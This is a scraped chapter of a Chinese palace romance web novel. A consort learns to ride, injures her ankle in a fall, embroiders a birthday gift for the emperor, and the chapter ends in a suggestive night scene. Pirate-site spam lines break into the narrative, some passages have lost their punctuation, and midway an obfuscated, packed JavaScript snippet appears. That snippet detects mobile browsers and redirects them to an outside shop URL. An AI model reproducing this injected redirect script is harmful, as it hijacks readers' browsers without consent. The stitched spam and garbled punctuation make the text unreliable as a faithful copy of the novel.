第 23 章 缠绵

作品:《明玉谣

    第23章缠绵


    阳光透过明窗,天源阁内自成的这一方小天地,本就是专供贵人休憩。


    女郎唇色嫣红,恍若清晨雾色中的一朵娇花,可待人采撷。


    掌下纤腰不盈一握,布料摩挲间,帝王倾身吻住了那娇嫩花瓣。


    腰身被单手环过禁锢,起初容璇还妄想有两分主导,直到被郎君抱坐在了膝上,退无可退。


    红唇微启,鬓边流苏颤动间华光流转。女郎漂亮澄澈的眼眸蒙上一层雾气,尽数为帝王所掌控。


    她的指节无意识攥着郎君的锦袍,好半晌才能勉强平复气息。


    原先读着的那本书掉落在案上,再拾起时页数都有些凌乱。


    她仍坐在祁涵膝上,不想回头,强自将目光留在原本的书页。


    春风止歇,隔着上好的丝绸衣料,似乎仍能感知对方的温度。


    二人依旧合看一本书,却尽数是心不在焉。


    ……


    季春之月,西北的贡马送至京畿,交由太仆寺安置。


    原本去岁便有一贡,盖因国丧,故而推迟到开春一并贡上。


    太仆寺交接无误,又将最上等的几匹宝驹送入御马场中,精心照管。


    太仆寺卿至御书房回禀时,容璇正回避于屏风后读书。


    待人退下,她问道:“陛下午后去御马场,可否带臣妾一同一观?”


    她原是文臣,倒也想见见西北龙驹威名。


    祁涵颔首,便应允她:“好。”


    手中书有些枯燥,还是容璇顺手从御书房一面紫檀书架上取的。


    “还与陛下。”


    她望了望外间天色:“臣妾先回宫中更衣。”她语气带着点撒娇意味,“陛下方才答应臣妾的,可莫忘了。”


    帝王受用:“自然。”顿了顿,他道,“一会儿回来用午膳。”


    容璇点头,回明琬宫换了一件水绿色窄袖的如意纹锦裙,一条碧色挑绣飞鸟的锦带勾勒出纤细腰身。墨发盘作简单的云髻,以几枚碧玉雕花长簪略作点缀。


    御马场靠皇宫西南处,收了消息,掌管马场的太仆寺少卿已领上下人等恭候。


    “下官参见陛下,参见宸妃娘娘。”


    “免礼。”


    太仆寺少卿在前引路,容璇初次随帝王登上高台,俯瞰这座皇家马场。


    西北贡来的宝马本就去了野性,经御马师调教数日已然训练有素。


    得了帝王允准,太仆寺少卿向


    如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦


    下示意开始。


    几位御马师翻身上马娴熟的操控之中骏马肆意于马场中驰骋马蹄飞扬疾如流星。


    骏马振鬓长鸣风声猎猎说不出的酣畅与肆意叫人心向往之。


    容璇一眨不眨地望着可惜她对骑术一窍不通无缘下场一试。


    几场马术观罢瞧出人眸中不掩饰的羡慕与遗憾祁涵笑着摇了摇头牵住人的手:“来。”


    二人并肩下了高台场下御马师都已退开。


    两位养马官合力牵来一匹宝驹通体上下一色雪白无半点杂色。它昂首扬尾四蹄矫健有力比之方才见到的几匹名驹更上几重。


    这是帝王惯用的马匹名唤作白景。此刻它在主人面前低垂下头耳转向两旁。


    容璇想伸手摸一摸手停在半空又有些犹疑。


    “无妨。”


    骏马可日行千里


    “可敢试试?”


    容璇眸色一亮应一句“好”声音清悦。


    下一刻她被帝王抱起稳稳放于马上。白景稳健四蹄未动。但到底是初次上马居高临下容璇有些害怕小心翼翼地不敢动弹下意识去看祁涵。


    帝王眸中含笑跃身而上单手执过缰绳将人护在怀中。


    白景训练得极好自然不会伤了容璇。


    靠在身后人怀里容璇胆子也稍稍大了些。


    御马场中围种着不少碧树柳树抽了嫩绿的枝条几树梨花开得正繁盛。


    随着马蹄奔扬跑马场中的景色不断流动、变化。


    身后的郎君怀抱可靠容璇不知不觉放松了心神偶尔闭目享受迎面吹来的暖风比之坐马车的感受天差地别。


    祁涵稳稳控着缰绳容璇摸了摸白景这样的速度对她来说将将好就是委屈了这匹能一日奔袭千里的良驹。


    御马场占地甚广纵马驰于其间衣袂生风对容璇而言是久违地自在之感像是一场自由无拘的美梦。


    梦醒后回到原处容璇由帝王半抱下马跃于地时仍有踩在云端之感。


    御马场的安德堂中备了茶点容璇眼眸亮晶晶的一时还不想回宫。


    “陛下”她扬起一抹笑“臣妾也想学骑马。”


    无需人保驾护航她自己亦想执缰绳。


    女郎目光灼灼仰起一双期待的眸望他。


    帝王思忖几息未曾反对。


    “只是要小心些。”他叮嘱。


    听说看这本书的人都是很幸运的,分享后你的运气会更棒


    容璇无有不应,祁涵便命人对太仆寺少卿传话。


    一盏茶的工夫,太仆寺少卿便领人牵了几匹马驹过来,排在堂前。都是精心挑选过的温顺马匹,适合初学骑术的宸妃娘娘。


    祁涵仔细望去,替容璇择出一匹白色的漂亮马驹:“如何?”


    容璇由他作主:“好啊。”


    今日时辰尚早,祁涵便手把手指点她上马的要领。


    这匹马驹不高,容璇抓住缰绳,很快便不再害怕。


    她是真心想学骑马,甫一回到明琬宫中,便吩咐尚服局准备两套骑装,再备几双长靴。


    后宫清净,绣娘们也少了活计。宸妃娘娘吩咐要的衣裳,待绣坊到明琬宫量了尺寸,不出两日便精心送来。


    绯红、月白、碧色三套骑服,剪裁合宜,针脚细密。虽说样式还是繁琐了些,但比容璇素日的衣裙合适上马许多。


    前头十日里,容璇去了五六日御马场,余下还要匀出些时间练琴。帝王自然无暇日日指点,御马场中另请了几位夫子。


    专掌马场的太仆寺少卿早便知道宫中宸妃娘娘盛宠,万事无一不上心。尤其宸妃娘娘潜心于此,丝毫不娇气,夫子们教起来更得心应手些。


    天气和暖,时有微风拂面,碧莹莹的草场中一派自在。


    又是足足半日的练习,容璇回宫沐浴更衣后,秦让来请宸妃娘娘去御书房用茶点。


    “好。”


    容璇颔首,辇轿已备在明琬宫外。


    “宸妃娘娘请。”


    秦让陪了笑,算算日子娘娘已有三四日未至御书房。纵然忙于**骑术,总不能忘了陛下不是。


    御书房中仍是老样子,容璇屈膝一礼:“陛下万福。”


    祁涵方处理过白日的政事,午前又召太仆寺少卿过问几句宸妃娘娘学骑术的近况。


    “来。”


    让人坐到自己身侧,容璇瞧了瞧,膳房今日备下的点心有荷花酥,玫瑰乳酥,柳叶糖,梨花玉露团。


    “这时节,荷花还未开呢。”她笑着道。


    膳房的荷花酥做得倒是精巧,层层的酥皮花瓣,花蕊金黄,都让人舍不得动口。


    容璇端详一会儿,手却被帝王拉过。


    掌心摊开,原本白皙的手掌上有几道红痕,显然是缰绳磨出来的。


    容璇不以为然,休养两日便好,这些并不碍事。


    她想吃那梨花雨露团,帝王对外吩咐道:“去取药膏来。”


    “是,陛下。”


    侍女送了药便自行


    听说看这本书的人都是很幸运的,分享后你的运气会更棒


    退下,容璇乖乖张开手心,由帝王给她上药。


    药膏涂抹于红痕处,冰冰凉凉的感觉,煞是舒服。


    容璇拇指上还有常年累月握笔留下的薄茧,不过在宫中赋闲几月,已经稍稍褪去些。


    祁涵道:“骑术可以慢慢学,何必如此逞强。


    容璇回他一笑,眸中蕴一抹别样的神采:“陛下放心,我有分寸。


    祁涵算是知道了她,想学的骑术不遗余力,其他的全凭心意。就如七弦古琴,她得名师指点,中规中矩学下来,也算有几分交差的模样,再多便没有了。


    抹过药,祁涵道:“这两日好生休息。


    容璇不大情愿,但在帝王目光中只能应下。


    她小心翼翼与他确认:“那臣妾……还能去御马场吧?


    “自然可以。帝王金口玉言。


    女郎巧笑嫣然:“多谢陛下。


    星眸皓齿,明艳无方。


    殿中渐渐安静,四目相望间,帝王俯身吻上了娇艳唇瓣。


    唇齿交缠之中,容璇被郎君扣于怀间,双手无力地抵在他身前。


    深深浅浅的吻中,那梨花玉露团一时半刻到底是吃不上。


    才擦好的药膏沾染上郎君锦袍,一会儿还得再补上些许。


    ……


    四月的月例送到明琬宫中,向菱与向萍点算无误,将清单呈给娘娘。容璇抽空提笔记了账目。


    内廷送来的物件皆有登记造册,向来只有富余的,从未短缺过。但容璇习惯使然,自己另有一本账目。


    她以手支颐,才入宫几月,自行记下的小账已经有厚厚半本。宸妃一年有八百两的宫俸,衣食用度、珠宝首饰都由宫中供给。车马仆从亦是内廷安排妥当,这八百两的俸禄几乎可以全部存下来,比在户部当差划算多了。


    其中送来的一斛珍珠晶莹剔透,颗颗圆润饱满。容璇放了两粒在掌心把玩,怨不得后宫嫔妃要争宠要位份。这实打实的好处落下来,换她她也得争。


    不过托祁涵的福,一品宸妃的位置起步已然足够。


    容璇比了比珍珠大小,所谓食君之禄,担君之忧。


    再有一阵便是万寿节,内廷上下已筹划起来。


    她总还得给帝王预备一份生辰礼。


    容璇将珍珠放回银匣中,但凡送礼,讲究的是投其所好,银钱和心思总得费一样。


    如果要费银钱的话……容璇沉吟,那还是花她的心思吧。


    “向菱。


    “娘娘有何吩咐?


    你身边有不少朋友还没看到本章呢,快去给他们剧透吧


    “你领人去库房看看,挑几块上好的缎子来。”容璇想了想,“天青、雪青两色上佳。”


    “奴婢明白。”


    自她入宫后,宫中的赏赐、各处的送礼流水一般,明琬宫库房内堆了不少用不着的宝贝。


    很快向菱回来复命:“娘娘您瞧,这些可还行?”


    云锦、雪缎、**绸、月华锦,还有江南进贡的两块缂丝。


    容璇指尖抚过其上巧夺天工的纹样:“容本宫想想。都放这儿罢。”


    “是,娘娘。”


    夜间点起烛火,烛光映在锦缎上,华美生辉。


    久违的一夜江南烟雨梦。


    ……


    “陛下万福。”


    明琬宫寝殿外,向菱与其他侍女行礼如仪。


    宸妃娘娘不在寝殿中,帝王问及时,向菱恭敬道:“回陛下,娘娘午前去了御马场。”


    祁涵神色微顿,秦让道:“陛下,可要派人将娘娘请回来?”


    难得今日朝政清闲,陛下驾临时,宸妃娘娘竟还不在宫中。


    向菱告了罪,奉上清茶。


    祁涵于殿中坐了坐,明琬宫在封妃旨意颁下前重新修葺过。容璇入宫后未曾改动,只添上了些喜欢的小物件。祁涵目之所及,窗边小案上摆着几块未裁剪的锦缎。


    绣样置于一旁,上头圈画的字迹出自容璇之手,祁涵心中一动。


    “罢了。”他道,“备车驾罢。”


    天朗气清,去御马场走走无妨。


    “奴才领旨。”


    从宫城至御马场,来回很是便宜。


    安德堂外,太仆寺少卿迎驾的神情有些慌乱:“微臣叩见陛下。望陛下恕罪,宸妃娘娘——”


    休憩的小室内,容璇抬眸望见白衣郎君时,神情不免意外。


    一炷香前,她身边已经遣人去请太医,想必此刻太医正在赶来的路上。


    “还伤了何处?”


    祁涵大步跨入屋中,女郎宽了骑服外袍,长靴褪下一只。原本白嫩的左脚踝有些红肿,敷了冰帕子。


    帝王问起,容璇便一五一十答。


    事情的前因后果也简单,她学了一阵骑术,要领已然掌握。原先骑的那匹白驹太过温顺听话,容璇尝试换了一匹新马。起初还好,纵马跑远些时不知何故,胯下骏马忽然不受指挥。前蹄仰起,在马场中横冲直撞。


    容璇对祁涵说得云淡风轻,太仆寺少卿回忆着方才情形不免忐忑。坠马对新手来说也不是稀罕事,但宸妃娘娘身份何等贵


    恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的


    重。仆从来禀时,他的心都提到了嗓子眼。


    好在宸妃娘娘行事果决,在马发狂时寻到机会便从侧处跳了下来,避开马蹄,所幸未酿成大祸。


    虽则娘娘并无怪罪之意,但此刻太仆寺少卿的心仍是悬着的,焦急在外候着太医。


    屋内是陛下陪着宸妃娘娘。


    “没什么大事。


    见祁涵一直在看自己,容璇神色有些不自在。


    这点小伤她自己都未放在心上,当时便由向萍搀着进了屋中休息。但抬眸时,她望见帝王眼底的担忧,到底还是觉得伤处是有些疼的。


    约莫又是一炷香的工夫,宫中的赵太医匆匆赶到。


    免了礼数,赵太医上前为娘娘检查脚踝上的伤情。


    所幸并无大碍,左腿其余几处小擦伤亦无需忧虑。太医仔细处置过伤口,宸妃娘娘好生将养几日便能痊愈。


    那匹犯事的枣红马已经被人制住,牵过来时,容璇瞧它神气活现的模样,的确不好驾驭。


    “陛下,她开口,“臣妾就想要它,可以吗?


    女郎眼神清亮,此刻眼中所蕴的别样神采,无端地叫人想起七宝琉璃,流光溢彩。


    她偏要驯服这一匹宝驹。


    望入这双眼眸,帝王有一瞬的失神。


    他明白她的志在必得,原先的话语忘却,最后应她一句好。


    天色不早,回宫的车驾已准备妥当。


    软榻上的女郎未开口,目光盈盈望过来时,帝王读懂了她的心意。


    祁涵笑了笑,俯身将人横抱起。容璇的手环住他的后颈,唇畔漾一抹得意的笑,舒舒服服由人抱上了车驾。


    虽说受了伤,但今日驾驭枣红马时是全然不同的体验。


    容璇并不后悔,总要跨出这一步的。


    瞧人受着伤还在想骑术一事,祁涵的语气很有几分无奈。


    他轻点她的额头:“这几日安分些罢。


    女郎樱唇翘起,语气却软:“臣妾知道了。


    脚踝处受了伤,容璇行走多有不便。在寝殿养伤的日子,空出的光景她正好安心刺绣。


    她先挑好绣样,最后择了一块天青色的云锦,对着午后的阳光细细剪裁。锦缎上原有的暗纹已然很美,容璇借了如意云纹,预备顺势再绣上一条金龙。


    绣房送来的丝线中,每四股绞入一股金线。许久未曾动手,容璇难免手生。好在她有自知之明,挑的是最简单的龙纹,又请绣娘为自己打了底。最初一阵磕磕绊绊绣下来后,余下的都顺畅


    如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦


    很多。


    向菱在旁为娘娘整理绣线,忽地瞥见殿外向萍与她示意。


    她放下手中活计,悄声退下。


    帝王踏入殿中时,明窗下的女郎手中捧了一面绣棚,正凝神刺绣。


    天青色的锦缎上,一条


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040219|194294||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    盘于祥云间的金龙已经隐隐有几分模样,显而易见这是绣与谁的。


    容璇刺绣的技艺尚可,先前她觉得绣工有些用处,也是用心学了的。


    她盘算过去,按当下的进度,赶上万寿节前绰绰有余。


    ……


    轩窗外春意正浓,休养了三五日,容璇脚踝的伤处已基本无虞。


    “陛下,宸妃娘娘的药熬好了。


    御书房中,侍女端入药盅。容璇接过,试过温度正好,便干脆利落地饮尽了药,又含了片蜜饯在口中。


    伤处痊愈,眼下端来的苦药都是太医开的滋补药方,容璇便继续喝着。


    她目光落回眼前的棋局,专心致志于破局之道。


    祁涵望她,她喝药从不怕苦,至多只是蹙一蹙眉。


    “怎么了?


    容璇落下一子,察觉到帝王目光,好奇开口。


    祁涵道:“只是发觉你喝药甚少嫌苦。


    他还以为那么爱吃甜食的一个人,必定是嫌弃苦药的。


    容璇笑了笑:“有时候,有药喝也挺幸福的。她丝毫未放在心上,“该陛下了。


    黑子很快落下,说是二人对弈,其实多数时候是帝王悉心指点。


    过去教容璇围棋的那位师傅自身棋艺平平,况且教授的重点也不在棋道本身。围棋精深,但姑姑们的意思只是将其当作闺阁中的一二情趣,无需钻研。


    容璇纵喜欢下棋,后来也不得不搁置。如今再度拾起,兴致未减。


    祁涵自然不同。一国储君,为他授业的夫子皆是朝中千挑万选的人才。尤其他的棋艺承自国中圣手,那是旁人可遇不可求的机缘。帝王有闲暇愿意指教,容璇怎么看都是自己占了好处。


    她掌心握一枚白子,不免苦思。


    很快又输了一局,容璇不见气馁神色,由帝王耐心与她复盘。


    女郎凝神听着,目光中尽数是专注与赞叹,还有不加掩饰的崇拜之感。


    帝王含笑,心下隐秘地升腾起愉悦之情,无可比拟。


    白日的棋局到此为止,午后帝王要往御马场,一连几日皆有马球赛。胜者的彩头之一便是此次的西北贡马,世家子弟多有参与者。


    容璇点头:“这彩头倒好。她随口


    如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦


    问一句“那谢景和也要凑个热闹?”


    她忽而提起谢明霁帝王拾子的动作一顿不着痕迹道:“他若参与你可要去观赛?”


    棋子迟迟未落入棋笥


    容璇浑然未觉对帝王的提议却是敬谢不敏。


    “臣妾先前看过一场马球赛。”


    在京西马场由瑞王府做东。她若是去瑞王府的管事会特意给她留出个好位置。


    容璇恰逢休沐原本想在府中好生休憩再清查账目。不过那日她起身后想了又想机会难得最后还是决定凑热闹去马球场一观。


    “结果那一场马球赛整座京西马场人山人海看台上更是贵女如云。”


    宝马香车停于街巷蔚为壮观。


    她到得晚好不容易由管事领着到了自己的位置一问才知今日宣国公世子上阵一时间观赛者无数。


    那日马球赛的精彩容璇着实记忆不深看台上一边倒的情状倒是给她留下深刻印象。


    最后果不其然是谢明霁得了头筹回去路上遇见他还特意与她夸耀一番。


    那洋洋得意的模样容璇横看竖看也没看出谢明霁有哪一处能引得贵女们倾心。


    她洋洋洒洒说着好似风吹雾散帝王唇畔噙一抹浅笑。


    容璇对马球赛暂无兴趣借了一本棋谱回明琬宫自行琢磨。


    “陛下。”


    秦让送了宸妃娘娘出去回来便见陛下坐于棋盘前眉宇间俱是舒展之色。


    “什么时辰了?”


    “回陛下未时三刻。”


    御马场中胜负还未有分晓祁涵道:“半个时辰后摆驾罢。”


    “奴才领旨。”


    锣鼓声散去此次马球赛不出意料又是谢明霁夺魁。


    九皇子祁浔年岁还小尚未就藩。高台上一片热闹之中他笑着道:“西北贡来的骏马皇兄要赐予谢世子直说便是。其他人哪是他的对手白白惦记一场。”


    围看的臣工俱笑起来纷纷与宣国公世子道贺。


    ……


    春光最盛之时万寿节将至。


    陛下有旨意在前今岁万寿节一切从简。免了群臣朝贺之仪只在太极殿中设宴。


    虽是如此但王公百官奉礼还是隆重唯恐落于人后。


    太极殿宴席从巳时中开始未时一刻止歇。


    仪元宫中上下忙碌预备着今日的晚膳。


    太后暂居颐安行宫后宫无主。


    恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的


    “宸妃娘娘万福。”


    紫宸殿外,秦让恭敬迎了明琬宫的仪仗。


    万寿日晚间的宫宴陛下亦下旨撤去,单由宸妃娘娘作陪,可见明琬宫宠遇之盛。


    容璇下了轿辇,额前缀着的一颗明珠莹润生辉,堪堪可为女郎作配。她今日换一袭水红色锦绣百花霓裳裙,华美繁复的绣样,娇艳动人的颜色,被那张姣美倾城的容颜尽数压住,整座仪元宫仿佛霎时为之一亮。


    因帝王喜淡雅之色,容璇甚少这般随心所欲。


    晚膳预备得格外隆重,红泥焙鸡,八宝螃蟹清羹,酒浇江瑶,百鸟朝凤,囊尽山珍海味。


    虽是帝王生辰,但膳房一早来问了宸妃娘娘想用的膳食。


    容璇许久未饮酒,此番举银杯恭贺帝王嘉诞。她瞧他自今日晨起便佩在腰间的一枚香囊,上头刺绣着的金龙在烛火下熠熠生辉,贵不可言。


    她满意自己的绣工,饮了三两盏酒,粉颊绯红。


    用罢晚膳,祁涵留她在紫宸殿中弈棋。


    黑白玉棋一来一往,声声落子之中,夜幕层云散去,月色溶溶。


    也不知是否是帝王有意相让,今夜他落错了三子。


    仪元宫中备好了沐浴的香汤,夜风轻拂,夹杂馥郁幽昙芬芳。


    容璇屏退了侍女,慢慢解开了衣带,逐一宽下华丽于衣裙。


    沐浴于汉白玉池中,自西山引来的温泉水漫过如玉的肌肤,蒸腾起粉霞之色。


    侍女捧来三套寝衣,由着宸妃娘娘择选。俱是上佳的软绸质地,裁剪合娘娘身量。


    “便这套吧。”


    系上锦扣,月白一色在这般明丽倾国的容颜下都沾染上几分艳色。


    侍女细细为娘娘篦着墨发,盘起后以一枚玉钗簪住。


    玉质剔透无瑕,灯火中蕴着温婉华光。


    赤足坐于榻旁,容璇自以为能够无比平和的心绪,此刻竟有些不受控制起来。


    屏风外的脚步声由远及近,红烛摇曳,龙榻间说不清的暧昧旖旎。


    玉钗被郎君信手取下,墨发如瀑般倾泻。


    帝王修长如玉的指节挑开系扣,容璇垂眸,月白的寝衣由他褪落,露出大片白皙细腻的肌肤。


    春暖花开的时节,就这般由人抱去榻上,并不生凉。


    置身锦帐中,郎君温热的手掌寸寸抚过,无可抑制的娇.吟声溢出榻间。


    沉溺之中,容璇想起四月的江南烟雨濛濛,春色无边。


    雨打娇花,花蕊沾染上晶莹露珠,娇艳欲滴,由人采撷。


    作者有话要说


    么么宝贝们!评论有小红包,啵叽!


    感谢在2024-08-1215:27:00~2024-08-1421:32:48期间为我投出霸王票或灌溉营养液的小天使哦~


    感谢灌溉营养液的小天使:vitsippa20瓶;ZMYeo、暖暖10瓶;明月秋夕映、七七冒险屋5瓶;熙泽、喵汪与花,还有世界2瓶;虞矜月、璟1瓶;


    非常感谢大家对我的支持,我会继续努力的!